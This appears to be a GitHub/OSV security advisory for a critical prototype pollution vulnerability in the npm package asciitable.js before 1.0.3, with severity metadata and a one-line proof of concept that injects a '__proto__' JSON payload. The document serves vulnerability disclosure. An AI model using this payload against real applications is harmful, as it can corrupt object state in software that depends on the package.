GHSA-5pxj-mhwj-x5gv
Suggest an improvement- Source
- https://github.com/advisories/GHSA-5pxj-mhwj-x5gv
- Import Source
- https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/04/GHSA-5pxj-mhwj-x5gv/GHSA-5pxj-mhwj-x5gv.json
- JSON Data
- https://api.osv.dev/v1/vulns/GHSA-5pxj-mhwj-x5gv
- Aliases
- Published
- 2021-04-13T15:24:59Z
- Modified
- 2025-01-14T08:57:02.471175Z
- Severity
-
- 9.8 (Critical) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CVSS Calculator
- Summary
- Prototype Pollution in asciitable.js
- Details
-
The package asciitable.js before 1.0.3 is vulnerable to Prototype Pollution via the main function.
PoC
var a = require("asciitable.js"); var b = JSON.parse('{"__proto__":{"test":123}}'); a({},b); console.log({}.test) - Database specific
{ "severity": "CRITICAL", "github_reviewed": true, "cwe_ids": [ "CWE-400" ], "nvd_published_at": "2021-01-04T12:15:00Z", "github_reviewed_at": "2021-04-06T23:32:45Z" }- References
Affected packages
npm / asciitable.js
Package
- Name
- asciitable.js
- View open source insights on deps.dev
- Purl
- pkg:npm/asciitable.js